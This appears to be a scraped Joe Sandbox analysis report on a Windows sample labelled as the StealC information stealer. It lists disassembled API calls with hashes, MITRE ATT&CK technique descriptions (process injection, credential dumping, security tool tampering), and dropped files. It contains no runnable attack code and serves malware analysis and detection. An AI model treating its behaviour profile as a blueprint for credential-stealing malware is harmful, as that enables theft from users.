GetLastError.KERNEL32(?,6C8FB9D9,00000000,00000001,00000000,?,?,6C8FAC94,?,00000000,00000000,?,?,?,6C8FB23A,00000000), ref: 6C8FC249

Part of subcall function 6C8FC20F: CloseHandle.KERNEL32(FFFFFFFE,6C8FC259,?,6C8FB9D9,00000000,00000001,00000000,?,?,6C8FAC94,?,00000000,00000000,?,?), ref: 6C8FC21F

___initconout.LIBCMT ref: 6C8FC259

Part of subcall function 6C8FC1D1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6C8FC200,6C8FB9C6,?,?,6C8FAC94,?,00000000,00000000,?), ref: 6C8FC1E4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6C8FB9D9,00000000,00000001,00000000,?,?,6C8FAC94,?,00000000,00000000,?), ref: 6C8FC26E

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5114bd2c8935e8d6524f55499f90004c253d7981a2fb96d633872329f9305ecf
Instruction ID: aea57db725825d0115286f9e7ff4fc21240c0dcf4e4e2d0e94c830d25af95388
Opcode Fuzzy Hash: 5114bd2c8935e8d6524f55499f90004c253d7981a2fb96d633872329f9305ecf
Instruction Fuzzy Hash: 89F0F836644168BBCF222FD58D449C93E77FB0B2A8B158918FA6985521C7328A60EB91

Function 6C8F450B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6C8F4530

Strings

RCC, xrefs: 6C8F454A
MOC, xrefs: 6C8F4542

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 874e1d49d2ea705637c75183fc295a9808f2ae0568760aa5140ea7df6dc5cee7
Instruction ID: ba81e3652e91615422475f8fa94f710375138ad466fcabc91122e6b48fc28c8b
Opcode Fuzzy Hash: 874e1d49d2ea705637c75183fc295a9808f2ae0568760aa5140ea7df6dc5cee7
Instruction Fuzzy Hash: 50417E71900109AFDF26CF94CE80AEE7BB5FF88348F24456AF924A7610D335DA52DB51

Function 6C8AAC50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6C8E2D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6C8E2D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6C8E2D7C
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6C8E2E0A

Strings

SymGetLineFromInlineContextW, xrefs: 6C8E2D71

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymGetLineFromInlineContextW
API String ID: 2190909847-3625368168
Opcode ID: 5dc5119f84cc092cca39ff6af36fa6ca30e42bdefce2ddb37fdb3787c787242c
Instruction ID: 7e0a2be62b86b13e97a4013aaf355e3243cac78179b06697f1c2004a4e61e00a
Opcode Fuzzy Hash: 5dc5119f84cc092cca39ff6af36fa6ca30e42bdefce2ddb37fdb3787c787242c
Instruction Fuzzy Hash: D611BF7070970AABDB149F19C98468ABBF8EB8A354F108D2DFD9893710D775D8008B92

Function 004152A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,02CC57B0), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA
API String ID: 2699682494-3568425128
Opcode ID: 01e5de57fa0382f8125f1d442ca08ee962dbaecfd4eda0f90ec81f4c5b2caf0f
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: 01e5de57fa0382f8125f1d442ca08ee962dbaecfd4eda0f90ec81f4c5b2caf0f
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 00413E2B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

q?A, xrefs: 00413ED2

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: q?A
API String ID: 3840410801-4084695119
Opcode ID: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction ID: 435e47d99a68a60cc5746cb21b8f71e50488397b794716e085ba6dfc691b5c27
Opcode Fuzzy Hash: 0e70d8f007815c078199d768b3eb50a19077b8f7193eafda07f08b5b77a90090
Instruction Fuzzy Hash: B3D05B7190411D5BCB10EF64DD489EA7378EB55705F0041CAF40E97150FB349F858F55

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5BQwrSLxIZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAKKKFBFIDGDBFHJJEHI

C:\ProgramData\CBAKFCBF

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5BQwrSLxIZ.exe_a9ba49c7245ad8289743d6dec860987f3a8b130_f5687a89_bb96e053-6649-426c-a59c-48c3ef7832e6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A09.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6BA1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6BC1.tmp.xml

C:\ProgramData\chrome.dll

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5b62db7d-4de8-4b33-bf9b-d525046a5cba.tmp

Windows Analysis Report
5BQwrSLxIZ.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre